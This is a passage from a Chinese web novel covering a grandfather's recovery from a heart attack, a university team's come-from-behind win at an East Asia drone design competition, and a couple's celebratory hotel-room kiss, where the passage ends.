眼睛死死盯着他胸口的微弱起伏。俯下身贴近外公耳边,声音带着强压下的战栗,一遍遍重复:“外公!能听到我吗?坚持一下, 医生马上就来了!” 她的声音像是在安慰外公,更像是在说服自己。时间仿佛被无限拉长,每一秒都像是在凌迟。夏篱紧紧握着宋欧阳微凉的手, 大脑飞速运转着各种不好的可能性,又被她强行压下。 短短两分钟不到的时间却仿佛过了一个世纪那么久, 杂沓而迅捷的脚步声由远及近,打破了这令人窒息的等待。 “在这里!工作间!”夏篱用尽力气朝外喊。 首先冲进来的是配备给庄园24小时待命的医疗团队, 他们训练有素,推着担架和急救设备。 “小姐,请让开一下!”为首的医生迅速接手。 夏篱立刻退到一旁,紧紧咬着下唇, 指甲深深陷进掌心。她强迫自己睁大眼睛,不错过医生任何一个细微的表情和动作,仿佛这样就能抓住一丝希望。 紧随其后赶来的是唐简,箭步冲进去看到屋里情形他脸色骤变,甚至来不及去看一眼一旁的夏篱就回头到门外堵上络绎不绝一个个从各个方向赶来的家人,是安慰也是命令的沉声指挥:“医生已经在了!让开通道!让开通道!” 工作间里,医护人员动作娴熟地将宋欧阳小心移上担架床,连接便携监护仪,建立静脉通路,氧气面罩覆上口鼻,一系列动作快而不乱。 宋欧阳很快被推出来。 一行人沉默而迅速地穿过连接工作间和主宅的廊道,气氛压抑得让人喘不过气。 庄园内配备的医疗室位于主宅一层东侧,是雷镜几年前不惜重金打造的,设备堪比小型私立医院,就是为了应对眼下这种突发状况。 医疗室的门在众人面前关上,将焦急与恐惧隔绝在外。 走廊里瞬间安静下来,只剩下监护仪隐约的滴答声透过门缝传来,像重锤敲在每个人的心上。 夏篱能感觉到自唐简手臂传来的坚定力量,也能感觉到自己身体无法控制的细微颤抖。可此时看着医疗室紧闭的门,她却本能地扭头去找另一个身影。很快,她看到被父母奶奶他们围在中间的外婆。 她意外不仅没在外婆脸上看到一丝的惊慌和眼泪,甚至看到她唇角依然扬着那抹常年看着他们时始终慈爱又温柔的笑,正轻轻地给早已哭花了脸的妈妈擦眼泪。夏篱看着外婆,原本悬在眼眶里的眼泪顷刻便像泄闸的洪一样汹涌而出。 是伤心,更是心疼。 夏篱走过去,伸手紧紧拥抱住外婆,将脸靠在她颈边轻轻啜泣。 “我们宝贝吓坏了吧。”夏天摸摸自家小外孙女的头,温柔地拍着她的背。 夏篱鼻音浓重地哽咽道:“外婆,对不起……” “傻孩子说什么呢,放心吧,外公不会有事的。”夏天轻道,又低声重复,“欧阳不会有事的。” 夏篱听着外婆的安慰却只觉更加心惊。 不知过了多久,抢救室的门终于从里面打开。穿着白大褂的医疗团队负责人走了出来,他摘下口罩,脸上带着一丝疲惫,但眼神相对平静。 瞬间,所有人的目光都聚焦在他身上,心脏提到了嗓子眼。 雷镜立刻转身,上前一步,声音因紧张而有些沙哑:“陈医生,我父亲情况怎么样?” “雷先生,各位,请稍安勿躁。”陈医生环视一周,沉稳开口:“宋老先生目前生命体征暂时稳定下来了。” 一句话,如同天籁,让所有人紧绷的神经瞬间松弛了一点点。 陈医生继续说:“初步判断是急性心肌梗塞,伴有轻微脑供血不足。幸好发现和呼叫都非常及时,我们第一时间给予了溶栓和扩张血管的治疗,目前看来效果不错,闭塞的血管有再通的迹象,意识有初步恢复的苗头,但还很微弱。” 他顿了顿,语气变得严肃了些:“不过,这仅仅是初步稳定。心肌梗死后的24小时仍是危险期,可能出现心律失常、心衰等并发症。而且,这次发病对老先生的心脏功能造成了一定的损伤,后续需要绝对卧床休息,严密监护,并且要尽快安排更全面的检查,包括冠脉造影,评估是否需要进一步介入治疗。庄园的设备虽然齐全,但为了万无一失,等老先生情况再稳定一些,我强烈建议转运到市里最好的心血管专科医院,那里有更完善的应对突发状况的能力和设施。” 雷镜没有丝毫犹豫,立刻应声:“好。一切听从您的安排。我会即刻让人联系协调医院和专家。转运过程中的医疗保障,也请您全力负责。” “这是我们应该做的。”陈医生点头,“我们会制定详细的转运方案。现在,老先生需要绝对安静,大家可以稍微放心,但暂时还不能探视,需要留在监护区观察。” 得知暂时脱离了最危险的时刻,但危机并未完全解除,众人的心依然悬着,但至少不再是那种无边的黑暗和绝望。 陈医生交代完,又返回了医疗室。 门再次关上。 走廊里的空气凝滞沉重,弥漫着无尽的悲伤和心焦。雷镜走到一旁,压低声音开始拨打一连串的电话,调动所有资源联系市里最好的心血管医院和专家。 等待转运的时间格外漫长,却又仿佛一晃而过。当医疗团队确认宋欧阳情况允许转运,并做好万全准备后,一行人沉默而高效地护送着移动病床,通过专用通道直达等候的医疗救护车。 雷镜和唐峥陪同上车。其他人则乘坐另外的车队,紧随其后。 车队一路疾驰,畅通无阻地抵达了市中心顶尖的私立心血管病医院。早已接到通知的专家团队已严阵以待,迅速将宋欧阳送入早已准备好的重症监护室。 剩下的,又是等待。 CCU外的家属等候区,延续着方才庄园里的凝重。时间一分一秒流逝,窗外天色由浓墨转为深蓝,再透出晨曦。 终于,CCU的门打开,主治医生走了出来,脸上带着一丝疲惫后的轻松。 “各位,宋老先生的情况比预想的要好。冠脉造影显示,主要堵塞的血管溶栓效果理想,暂时不需要植入支架。目前生命体征平稳,意识已经恢复,但还很虚弱,需要绝对静养。” 悬了一整夜的心,终于重重落回了实处。夏天的眼泪这才无声地滑落,轻轻地闭上了眼,被夏引之用力抱住。一时间,走廊里充斥着此起彼伏的低泣和哽咽。唐简擦去夏篱脸上源源不断的泪,亲了亲她额角。雷镜也长长舒了一口气,沙哑地向医生郑重道谢。 “病人需要休息,目前不建议太多探视。家属可以派一位代表,短暂进去看一下。”医生补充道。 所有人的目光下意识地看向夏天。她却轻轻推了推身边的夏篱,“阿篱去吧。” 夏篱抽噎着说不出话,只是看着夏天用力摇头。 “乖孩子,去吧,顺便帮外婆带话给你外公,我会在外面好好的等着他,别让我等太久。”夏天笑着坚持道。 最后夏篱在护士的指导下,穿上无菌隔离衣,带上口罩,深吸一口气,轻轻推开了CCU的门。 印象中总是高大而伟岸的外公此时在病床上,显得比平日瘦小了许多,脸上戴着氧气面罩,各种监控线路缠绕在身边。但他的眼睛是睁开的,虽然有些浑浊,却在看到她时,清晰地动了动,甚至极其微弱地弯了一下。 夏篱的鼻子瞬间一酸,原本她在进来时告诫过自己无论如何都不要哭的,可眼泪大概真的是这世界上最难忍的东西了。口罩很快湿了一片,却还是努力地笑着,快步走到床边,小心翼翼地握住外公那只没输液的手,俯下身,声音哽咽却轻得像怕惊扰了什么:“外公,我来了。您感觉怎么样?” 宋欧阳的手指极其轻微地回握了一下,幅度小到几乎察觉不到,但夏篱感受到了。他眨了眨眼,似乎是用尽力气想要传递什么。 夏篱看懂了,她用力点头:“您别说话,好好休息。外婆没事,我们都很好。外婆说她会好好在外面等你出来,让您不要那么调皮,别让她等太久。” 宋欧阳的眼角似乎也湿润了一些,他缓缓闭上眼睛,像是安心,又像是疲惫至极。 夏篱不敢多待,轻轻放下他的手,为他掖好被角,深深看了一眼,才一步三回头地离开了病房。 第92章 宋欧阳的情况一天天稳定下来, 转入了普通病房。虽然仍需静养,但最危险的时刻已经过去。 在外公住院满一周,医生确认各项指标平稳良好同意其回家休养后, 夏篱和唐简才将返校计划重新提上日程。 临行前这两天,除了陪外公的时间, 夏篱常常挨着外婆坐着,什么也不说,只是感受着这份失而复得的安稳。她看着父母、干爸干妈,尤其是外婆,心脏总是会有种无法言语的抽痛。 外公在抢救的那一刻, 外婆的平静曾让她心惊。那不是漠然, 而是一种深植于骨髓的默契与决绝。夏篱清晰地感受到, 那份平静之下, 如若外公真的撒手人寰,外婆绝不会独留人世的悲伤。他们的生命早已交织缠绕,如同共生树, 一株倾倒,另一株亦无法独活。 这种超越了生死,融入了骨血的感情, 让她震撼,也让她心生一丝不易察觉的惶惑。 她不禁悄悄望向唐简, 看着他线条清晰的侧脸。 他们从小一起长大,彼此的生命轨迹早已密不可分。确认关系以来的甜蜜、默契和共同奋斗的激情都是真实的, 可他们之间,真的能淬炼出如外公外婆那般,历经数十年风雨、深入灵魂、足以撼动生死界限的羁绊吗?她相信唐简此刻的真心,可“永远”这个词, 太重了。 这个疑问,像一颗细微的种子,在她心底悄然埋下。 而唐简坐在她身边的地毯上,背靠着沙发,却仿佛能感知到她平静外表下的波澜。他没有回头看她,只是将手臂向后伸,温热的手掌轻轻覆在她放在膝盖的手上,无声地包裹住她微凉的指尖。夏篱手指微微一动,反手与他交握,汲取着他掌心的温度和力量。 有些困惑无需言说,有些答案需要时间。 回到北城的当天下午,寒意尚未褪尽,校园里已恢复了往日的忙碌。推开307实验室的门,一股熟悉的热浪夹杂着电路板、焊锡和咖啡因的味道扑面而来。 只是令两人意外的是,实验室里异常安静,只有机器风扇的嗡鸣。周予、何晓雯、陈默等人都在,却没人说话,各自对着电脑屏幕,脸色凝重。 气氛压抑得让人心慌。 “怎么了?”唐简敏锐地察觉到不对。 众人闻声扭头,这才察觉到他们回来。孙翡脸上惊喜的表情一闪而过,随即担忧地走过来抱了抱夏篱——外公生病的事夏篱只跟她说了。 夏篱冲她笑了笑。 其他人没发现夏篱有什么不对劲,周予只是抬手打了声招呼,声音干涩:“刚收到大赛组委会的正式邮件……东亚区决赛,我们……我们晋级了。” 这本该是一个引爆欢呼的消息,但此刻众人的反应明显不对。夏篱的心先是猛地一跳,随即沉了下去。“然后呢?” 陈默摊了摊手,接话道:“然后就是坏消息。决赛提前了,比原计划足足早了十天。就在三周后。” “三周?!”夏篱失声。 这个时间点卡得太死了,几乎不给人喘息之机。 何晓雯指着屏幕上的邮件内容:“而且决赛规则有变,所有晋级团队携带实体机进行现场飞行演示,评审权重,现场表现占比由原来的百分之五十上调至百分之六十。” 王海烦躁地抓了把头发:“三周……还要预留出运输和适应场地的时间……这怎么可能来得及!” “来不及也得来得及!”夏篱脱口而出,声音不大,却带着一种斩钉截铁的决绝。 所有人的目光都集中到她身上。 她站在实验室门口,窗外灰白的光线勾勒出她略显单薄却异常挺拔的身影。 其实王海只是因为心烦习惯性地抱怨一句而已,以往其他人听见也就跟着随意调侃几句就过,更何况夏篱一直都算是他们这个团队里的定海神针和加油棒,不论专业还是外在条件遇到什么困难,往往她出手就很少有解决不了的时候。所以即使之前面对资金短缺项目无法推进的极致困难周予他们都没看到过夏篱像方才那样……近乎执着的倔强。 虽然唐简和夏篱两人较年前他们商量好的归队时间晚了一个多星期,但原因他们没细说,周予他们也没多问,反正以他们对两人的了解,若不是无法调节的紧急事,他们是不会丢下项目不管的。 “学妹……”少顷周予眨眨眼,小心翼翼笑道,“你别激动。没人要放弃,我们都不会放弃的。” 夏篱这时才后知后觉地察觉到刚刚自己说话的语气有些太过强硬,她轻轻叹口气,对众人面露歉意,“……抱歉。” 何晓雯若有所思地看着她,“学妹,你脸色看着确实不太好,是不是路上太累了?不然今天就回宿舍好好休息,明天再来,也不差这一天的。” “对对对,我们来得及的来得及。”其他人不明所以地附和道。 还没等夏篱开口拒绝,一旁的唐简默不作声地牵起她的手看着众人一笑,“既然时间紧迫,我们就别浪费时间了。开始吧。” 然而夏篱的变化,所有人都感觉到了。 他们能感觉到,夏篱身上迸发出的一种比备战区赛时更加强大的驱动力,那不是单纯为了比赛名次,更像是在追逐某个必须达成的、关乎未来的目的。 对比之前,她的拼劲不仅更甚,简直变成了一台不知疲倦的机器。除了上课,所有时间都泡在实验室。优化算法、分析数据、推演新的结构方案……她对自己的要求严苛到近乎变态,一个焊点的不完美,一段代码的冗余都逃不过她的眼睛。连睡眠都被压缩到极致,常常是趴在桌上眯一会儿,就被闹钟或一个技术难题惊醒。 连周予看着都不免有些担心。 “学妹这状态……会不会太拼了?身体吃得消吗?”他私下偷偷找唐简。 唐简又何尝不心疼。 但他知道,外公的突然病倒对她冲击很大,就像一记警钟,敲碎了她潜意识里“来日方长”的错觉。她对黄教授实验室的渴望,从未如此迫切。她想要更快地成长,更快地触及心里的那个领域,仿佛这样就能与时间赛跑,能更早地让外公看到她的成长。 他心疼,却无法劝阻。 第十天,“探索者2号”完成首次全系统地面滑跑测试,基础控制响应良好。 第十五天,进行了地空悬停和简单矢量偏转测试,系统出现轻微震荡,何晓雯和夏篱连夜调整参数。 第十八天,第二次悬停测试,震荡消除,但发现左侧舵机在长时间大偏角下存在过热风险。 第二十天,王海和张铭轩拿出强化散热方案并紧急加工更换。 第二十二天,所有团队成员带着近乎完工的“探索者2号”,以及一箱箱备件和工具,登上了前往东亚区决赛举办地日本名古屋的飞机。 留给他们的适应场地时间,只有短短一天。 名古屋的天气有些阴沉。比赛场地设在郊区的某个大型室内体育馆,空间足够,但复杂的室内气流环境对所有参赛队伍都是一个挑战。 适应场地训练挚友可怜的几个小时,分配到每个队伍的时间更好。北城大学团队争分夺秒地进行调试。夏篱专注地盯着唐简操作着“探索者2号”在场地中低速穿行,测试着基础飞行动作和传感器数据。 一切似乎都在朝着好的方向发展。 决赛日终于到来。体育馆内人头攒动,来自东亚各地区的顶尖高校团队齐聚一堂,各式造型新颖的飞行器在准备区一一陈列。 北城大学的抽签出场顺序靠后。看着前面队伍或成功或失败的演示,每个人的手心都捏着一把汗。有些队伍的飞行器性能强悍,动作凌厉,但也有些在复杂任务重失误频频,甚至直接坠毁……基础组陆子航的队伍就是其中之一。 然而同作为中国的参赛队伍,夏篱并未因此感到一丝高兴——即使在炸机后的第一秒,陆子航摘掉眼镜扔了手里遥控器的第一反应就是回头望向夏篱他们队伍的方向。 “看我们干什么??”很快就轮到他们高级组了,孙翡紧张得心脏咚咚跳着也不忘回剜陆子航一眼,一脸莫名其妙,“飞机又不是我们炸的。” 陈默看她,“安静,小翡。” 孙翡撇了撇嘴,“本来就是啊……我们跟他都不是一个组别的!” “……” 轮到高级组别,一旁的周予紧张得不停喝水,何晓雯依旧面无表情,但紧抿的嘴角还是泄露了她的情绪。 夏篱和唐简站在准备区最前方,目光紧盯着场地。唐简轻轻碰了碰夏篱的手背,触感一片冰凉。他用力握了一下,低声道:“别怕,相信我。” 夏篱扭头看他,少顷朝他扬起一个明亮的笑容,“当然。” 她当然相信他。 “下一队,中国,北城大学!项目:Explorer-2,矢量推进仿生飞控验证机!” 轮到他们了。 周予作为队长上前进行简短陈述。接着,王海和陈默等人将“探索者2号”抬到起飞区。银灰色的机体线条流畅,在灯光下泛着冷硬的光泽。 唐简紧握遥控器,戴上第一人称视角眼镜。 “飞行准备完毕。”他声音通过耳麦传出,冷静得不带一丝波澜。 裁判示意开始。 “探索者2号”的电机发出平稳的嗡鸣,轻盈离地,稳稳悬停。 第一个任务,低速精准穿障。 机体在唐简的操控下,如同游鱼般灵巧地在高低错落的障碍物间穿梭,动作流畅,轨迹精准。评委席上有人点头。 第二个任务,模拟城市峡谷高速机动。 飞行器骤然加速,在模拟的“高楼”间极速转向、拉升,矢量喷口偏转,带出微弱的气流扰动,机体姿态控制得极好,几乎没有出现大的晃动。 台下,周予等人紧握双拳。 最关键、难度也最高的第三个任务来了——动态目标追踪与规避。 场地中央,一个移动靶标开始无规则运动,同时,侧方会有两台大型风扇模拟随机启动的“干扰气流”。 “探索者2号”迅速锁定靶标,追击。靶标突然一个集传,飞行器紧随其后,矢量喷口偏转,机体以一个小半径筋斗快速转向,引得一阵低呼。 就在这时,侧方的两台大功率风扇毫无预兆地同时启动!两股强劲的扰流从不同方向交叉袭来! “探索者2号”正处于高速转向的临近状态,瞬间被乱流裹挟,机体猛地一颤,姿态传感器数据剧烈跳变! 屏幕上,代表飞行器姿态的数据曲线疯狂震荡。 唐简瞳孔一缩,手指在遥控器上极速微调,试图强行稳住。但扰流太强,飞行器像喝醉了酒一样,在空中剧烈颠簸,高度骤降,眼看就要失控坠向地面! 千钧一发之际! 唐简没有选择保守的迫降,他眼中闪过一丝狠色,手指猛地一推油门,同时给了另一个极致的舵量! “探索者2号”矢量喷口发出不同寻常的噪音,原本下坠的机体借助一股巧劲和剩余动力,硬生生在空中完成了一个极其惊险的、近乎贴地的横滚机动,险之又险地避开了直接撞击地面,但也彻底偏离了预定航向,朝着场地边缘的防护网冲去—— “完了!”王海懵了,无意识喃喃出声。 孙翡捂住眼睛,不忍再看。 失败仿佛已成定局。 第93章 就在所有人都以为失败已成定局, 连裁判都微微前倾身体准备记录坠毁时刻的瞬间—— “强制介入!” “算法覆盖!” 唐简和夏篱的声音不约而同地在内部频道同时响起! 几乎在话音同时落下的刹那,夏篱面前的笔记本屏幕上,代表手动控制的绿色线条被一股强大的、预设的红色算法流强行覆盖、接管。 电光火石间, 原本失控地冲向防护网的“探索者2号”猛地发出一阵更刺耳的矢量喷口高频调整声!机体在距离防护网不足三米处剧烈震颤,仿佛被一只无形的手狠狠攥住、拧转, 以一种违背常规气动力学、近乎诡异的姿态,利用自身尚未完全消散的惯性速度和瞬间偏转的矢量推力,硬生生划出一道尖锐的“V”字型轨迹,机腹擦着着防护网顶端堪堪掠过,重新回到了场地空域! “Wow——”全场响起一片压抑不住的惊呼。 但这还没完! 强行改出失控状态的飞行器姿态并不稳定, 在空中剧烈颠簸。夏篱眼神锐利如刀, 手指在触控板上飞速滑动, 调整着强化学习算法在线输出的控制参数。她的大脑飞速运转, 将刚才采集到的极端扰流数据瞬间融入计算,飞控系统在她的指令下,如同一个踉跄后迅速找回平衡的体操运动员, 开始以极高的频率进行微幅调整。 “探索者2号”的抖动以肉眼可见的速度迅速衰减,在短短两三秒内重新恢复了稳定悬停!而那个移动靶标,此刻才刚刚运动到场地另一侧。 与此同时, 场上唐简没有丝毫犹豫,在飞行器恢复稳定的刹那, 立刻重新接管控制,推动油门! “探索者2号”如同离弦之箭再次射出, 速度甚至比之前更快!它仿佛被激怒了,又或者是被注入了新的灵魂,追踪、逼近、锁定—— 在靶标再次试图变向的瞬间,一个干净利落的急停转向, 模拟攻击窗口清晰呈现! 【任务完成!】 屏幕上跳出提示的瞬间,北城大学准备区爆发出巨大的、带着劫后余生般狂喜的欢呼!孙翡直接跳起来抱住了旁边的何晓雯,王海和张铭轩用力对捶了一下胸口,陈默长长舒了一口气,周予更是激动地一把抱住身边的刘淌唔哩哇啦,语无伦次。 唐简缓缓降下飞行器,稳稳落在降落区。他摘下FPV眼镜,额头上沁出一层细密的汗珠,后背也湿了一片。他转过头,看向夏篱。 夏篱也正看着他,脸色有些苍白,但眼睛亮得惊人。 评委席上,几位资深评委交头接耳,不时看向北城大学的方向,意味不明。但偶尔流露出的惊讶和赞赏,能明显看得出来,那个在极端失控状态下被强行拉回并完成任务的飞控表现,给他们留下了极其深刻的印象。 夏篱深吸一口气,取下耳麦,快速对周予说:“社长,准备答辩。最后应急算法的表现是关键,这是我们独创的东西。”没人看得出来她后背其实也惊出了一层冷汗。 只是评委们的讨论似乎比前面的队伍要更久一些。 终于,轮到技术答辩环节。 周予率先上前,努力保持镇定,概述项目。 轮到技术细节时,夏篱上前,面对评委尖锐的提问,尤其是关于最后失稳和恢复的阶段,她条理清晰地阐述了基于强化学习的仿生飞控如何在传感器数据异常、传统控制率可能失效的情况下,通过预测模型和在线学习快速生成恢复策略。 “你的意思是,最后那一下不是飞行员的操作,而是算法自主决策的结果?”一位来自欧洲的评委饶有兴趣地问。 “是协同决策。”夏篱纠正道,“算法提供在极端工况下可行性最高的恢复策略建议,飞行员拥有最终决定权和介入权。刚才的情况,如果没有算法的即时介入和飞行员的果断切换与信任,坠毁是必然。” 她回答的不卑不亢,既突出了技术的创新性,也没有抹杀飞行员的重要性。评委闻言高高扬了扬眉,让人分辨不出其意下何意。 答辩结束,团队众人退场,等待最终结果。 接下来的几个小时变得无比漫长。看着其他队伍或精彩或平淡的演示,对比自家堪称“惊悚”的收尾,每个人的心情都像坐过山车。 终于,所有队伍演示完毕,评委开始闭门评议。 等待区气氛压抑,个个忐忑万分。 “尽人事,听天命。”陈默靠在墙上,闭着眼说了一句。 “默哥你别这样,”孙翡看着陈默,表情一言难尽,“你老这么说话,让我总觉得下一步你就要出家了。” “……” 几个小时在焦灼的等待中缓慢流逝。 体育馆顶棚的灯光亮起,驱散了窗外的阴沉,也照亮了每一张或期待或忐忑的脸。 终于,评委们结束了最后的合议,主持人手持结果信封,走到了场地中央。 全场瞬间安静下来。 结果公布环节开始。 主持人开始从基础组宣布获奖名单。名次从后往前,每念出一个名字,场馆内就响起一阵或欢呼或失落的声浪。很快,基础组的名次尘埃落定。 意料之中,没有北城大学的名字。 轮到高级组。 “接下来,公布本届SAE国际航空设计大赛东亚区选拔赛,高级组获奖名单。” 所有人的心都提了起来。 “第五名,日本京都大学……” “第四名,韩国科学技术学院……” 每宣布一个名字,不是“北城大学”,周予的脸色就白一分。王海和张铭轩眼睛里已经难掩失望。 “第三名,”主持人目光扫过台下,“新加坡国立大学。” 只剩下前两名了! 巨大的压力让空气几乎凝固。 二等奖名单公布……依旧没有。 还有一等奖和特等奖…… 周予的脸色已经变得灰白,可眼中却又无法掩饰那丝燃烧着希冀的星星之火。孙翡眼圈一下就红了。王海重重地叹了口气,瘫坐在椅子上。 夏篱屏住了呼吸,感觉心脏几乎就要跳出胸腔。 这意味着他们要么一无所获,要么超出预期。 “经评委会一致决定,本届大赛高级组冠军,同时也是本届大赛总冠军,”主持人顿了顿,目光最终定格在北城大学团队的方向,说,“以及唯一的‘技术创新特别奖’获得者——中国,北城大学!祝贺他们!” 轰——! 仿佛有什么东西在脑海中炸开,短暂的空白之后,是席卷一切的狂喜! 双冠!总冠军!还有单独设立的技术创新特别奖! 巨大的反转让所有人都懵了,随即,北城大学准备区爆发出远比刚才完成任务时更猛烈、更狂喜的欢呼! “冠军……我们是冠军?!”周予猛地站起来,声音都变了调。 “冠军!我们是冠军!总冠军!”孙翡尖叫着跳起来,一把抱住身边的夏篱。 王海和张铭轩从椅子上一跃而起,用力击掌,然后激动地抱在一起,何晓雯脸上也露出了罕见的、大大的笑容。陈默终于睁开眼,嘴角上扬,用力拍着手。 夏篱被孙翡抱着,感受着周围几乎要掀翻屋顶的欢呼和队友们狂喜的脸庞,一种强烈的不真实感包裹着她。直到她看见穿过拥挤过来祝贺的人群,径直走向她的唐简。 他什么也没说,只是张开双臂,将她紧紧拥入怀中。这个拥抱充满了力量,带着毋庸置疑的喜悦。 夏篱回抱住他,脸埋在唐简胸口,听着他和自己一样快而有力的心跳,眼眶终于忍不住湿润了。 他们赢了。 她做到了。 第94章 颁奖台上, 聚光灯下。 周予作为队长,双手接过了沉甸甸的冠军奖杯和技术创新特别奖的证书。 台下闪光灯亮成一片。 夏篱站在团队成员中间,胸前挂着金牌, 手里捧着鲜花,感受着这份来之不易的荣耀。她抬头望向体育馆上空, 仿佛能穿透屋顶,看到遥远的甘棠,看到外公欣慰的笑容。 唐简侧头看着她,目光深邃而温柔。 颁奖仪式结束,团队成员立刻被来自各国高校的队员、记者团团围住, 祝贺、请教、采访……应接不暇。夏篱和唐简作为最后几乎可以说是反败为胜的核心, 更是焦点中的焦点。连当时在台上提问夏篱的那个欧洲裁判都特意过来跟他们握了握手。 “你们最后的应急算法, 非常大胆, 也非常有效。尤其是在极端失控状态下,飞控系统展现出的强大鲁棒性和智能恢复能力,让我们看到了算法与飞行员协同决策在未来复杂空域应用中的巨大潜力。”他看着两人, 眼神难掩欣赏,“这不仅仅是技术上的突破,更是一种工程哲学的创新。年轻人, 全球总决赛上,期待你们更精彩的表现。” 这番话, 无疑是对他们项目核心价值最高的肯定。 “我们一定会的。”夏篱落落大方地回以微笑。 台下团队成员们依旧沉浸在巨大的兴奋中,围着奖杯和证书爱不释手, 各种角度拍照。周予更是抱着总冠军奖杯不肯撒手,笑得见牙不见眼。 “庆祝!必须庆祝!”周予挥舞着奖杯,脸颊通红,“咱们找个地方, 不醉不归!” “社长,你确定你还能找得到北吗?”王海笑着打趣。 “找不到也得喝!”周予豪气干云。 回酒店的大巴上,气氛热烈得依旧像要炸开。周予终于稍微冷静下来,开始在团队小群里疯狂刷屏,汇报喜讯,回应着国内留守成员的激动。王海和张铭轩甚至已经开始憧憬起回国后学校可能的表彰和奖励。 夏篱靠着车窗,看着窗外飞逝的异国夜景,手被唐简牢牢握着。他指尖在她掌心轻轻挠了挠,低声问:“累不累?” “嗯。”夏篱老实点头,身体和精神的双重透支让她眼皮发沉,但精神却依旧亢奋,“但很高兴。” “睡会儿。”唐简把她的头按在自己肩上,“到了叫你。” 她没拒绝,闭上眼,鼻尖是他身上令人安心的气息,耳边是队友们压低却依旧兴奋的交谈声。这一次,她没有再梦到失控的飞机和刺耳的空白,只有一片星光璀璨。 回到酒店,他们包下了附近居酒屋的一个小隔间。热气腾腾的料理和冰凉的啤酒端上来,气氛瞬间达到高.潮。 周予第一个站起来,举着酒杯,眼圈又有点红:“这杯酒,我敬大家!没有你们,就没有今天的冠军!我周予……我……”他哽咽了一下,用力吸了吸鼻子,“啥也不说了,都在酒里!”说完,仰头一饮而尽。 众人哄笑着叫好,也纷纷干杯。就连何晓雯都抿了一大口,脸上泛起红晕。 杯盏交错,欢声笑语几乎要掀翻屋顶。 夏篱看着眼前这群并肩作战了无数个日夜的伙伴,心中感慨万千。从最初的立项受阻,到经费短缺,再到遭遇冯哲那种人,以及内部的技术瓶颈和外部的竞争压力……一路走来,荆棘密布,但他们互相支撑着,闯过来了。 气氛正酣,周予的手机响了。他看了一眼,眼睛瞬间瞪大,做了个噤声的手势,激动地压低声音:“是岑总!启明科技的岑总!” 全场瞬间安静下来。 周予深吸一口气,尽量让自己的声音听起来平稳,接通了电话,点了免提。 “周社长,恭喜。”岑静带着笑意的声音传来,清晰地回荡在包厢里,“我刚收到消息,你们拿了东亚区总冠军和技术创新特别奖。非常出色的成绩。” “谢谢岑总!都是团队努力的结果!”周予忙不迭应道,“最重要的是,要不是有您和启明的支持我们也有不了今天!” 岑静笑了下。 “你们的比赛视频和最后关头的技术应对,我们这边的专家初步看了,评价很高。”岑静语气从容,“这证明了我们当初的投资眼光没有错。大赛只是起点,后续技术的深化和落地才是关键。等你们回国,我们尽快安排一次会议,详细聊聊下一步的计划。” “好的好的!没问题岑总!我们回国就联系您!”周予连声答应,脸上放光。 启明科技的持续看好,意味着项目和团队的未来又了更坚实的保障,这才是他们制胜的关键! 电话挂断,包厢里短暂的安静后再次爆发出欢呼。 “牛啊牛啊——!”孙翡举着啤酒杯欢呼不断。 …… 庆功宴持续到很晚才散场。 回酒店的路上,名古屋的夜空难得地露出了几点星光。晚风带着凉意,吹散了酒意,也吹得人精神一振。 大家三三两两地走着,依旧兴奋地讨论着今天的比赛,规划着回去后要如何“敲诈”学校争取更多支持,畅想着未来。 唐简和夏篱手牵着手落在队伍最后。 回到酒店楼下,大厅明亮的灯光刺得人眼有些发晕。 周予还在意犹未尽地比划着领奖时的动作,孙翡和何晓雯靠在一起小声说笑,王海则嚷嚷着要回房间继续嗨。 就在这时,唐简停下脚步,握着夏篱的手紧了紧,对众人平静开口:“你们先上去吧,我和阿篱……还有个地方要去。” 他语气自然,神色如常,仿佛真的另有安排。 周予愣了一下,立刻露出一个“我懂了我懂了”的暧昧表情,嘿嘿笑了声,二话不说就推搡着其他人:“走走走,赶紧的,咱们别当电灯泡!别打扰人小情侣约会!你们注意安全啊!别回来太晚!” 孙翡也难得看着夏篱坏笑着,把手里的房卡塞给她,“拿着,多晚回来都行啊宝儿!” “……” 看着众人的身影消失在酒店旋转门内,夏篱耳边仿佛还回荡着周予那意味深长的笑声,脸颊有些微热。她扭头看唐简,想问他要去哪儿,却被他温热的手掌握得更紧。 然而,等最后一个人的背影也看不见了,唐简却牵着她,也步履从容地走向了电梯厅。 “嗯?”夏篱更疑惑了,抬头看他线条流畅的下颌,“不是要去别的地方吗?” 唐简按下电梯上行键,这才垂眸看她,眼底映着酒店大堂璀璨的光,漾开一丝不易察觉的、带着点狡黠和深意的笑:“是别的地方。”他顿了顿,电梯门“叮”一声打开,他牵着她走进去,在密闭空间里,他俯身凑近她耳边,声音带着磁性的共振敲在她耳模上,悄悄道:“我们的房间。” 我们的……房间? 夏篱心头猛地一跳,还没来得及消化这句话的意思,电梯已经平稳上行。她看着他从裤兜里拿出一张房卡刷了一下,按了某个他们团队房间所在之外的楼层。 一种后知后觉的预感如同细小的电流,瞬间窜遍全身。 电梯门再次打开,走廊静谧,铺着厚厚的地毯,脚步声被吸收。唐简牵着她,径直走到一扇房门前,“嘀”一声,刷开了门。 直到被唐简轻轻推进房间,背后是冰凉的门板,身前是他瞬间逼近的、带着酒店外清冽空气和自身灼热体温的高大身躯,夏篱才彻底反应过来——他所谓的“有个地方要去”,就是他偷偷另开的一间房。 “你……”她刚吐出一个字,余下的声音就被彻底封缄。 唐简俯身,精准地攫取了她的唇。 不同于以往任何一次带着试探、珍惜甚至有些笨拙的亲吻。这个吻来势汹汹,带着不容置疑的强势和一种近乎野蛮的占有欲。他一只手垫在她脑后,防止她被门板硌到,另一只手则紧紧箍着她的腰,将她整个人严丝合缝地压向自己,力道大得几乎让她喘不过气。 他的舌尖撬开她的齿关,长驱直入,带着酒气和一种纯粹的、男性的侵略气息,席卷了她所有感官。不再是温柔的舔舐和小心翼翼的试探,而是甚至带着几分情.色意味的、深入的纠缠和吮.吸,仿佛要将她拆吃入腹,连灵魂都标记上他的印记。 夏篱的大脑因为缺氧和这突如其来的激烈亲吻而一片空白,心脏在胸腔里狂跳,像是要挣脱束缚。她能清晰感觉到他身体的变化,紧绷的肌肉,灼热的体温,以及……身前的硌人反应。 羞意和一种陌生的、被掌控的战栗感让她腿脚发软,只能无力地攀附着他的肩膀,指尖不自觉地蜷缩,抓皱了他外套的衣料。 唐简吻得很深,很重,仿佛积攒了许久的情绪都在这一刻爆发。庆祝的狂喜,比赛的压力,长久以来的克制,以及对怀中这个人无法抑制的渴望,交织成一张密不透风的网,将两人紧紧缠绕。 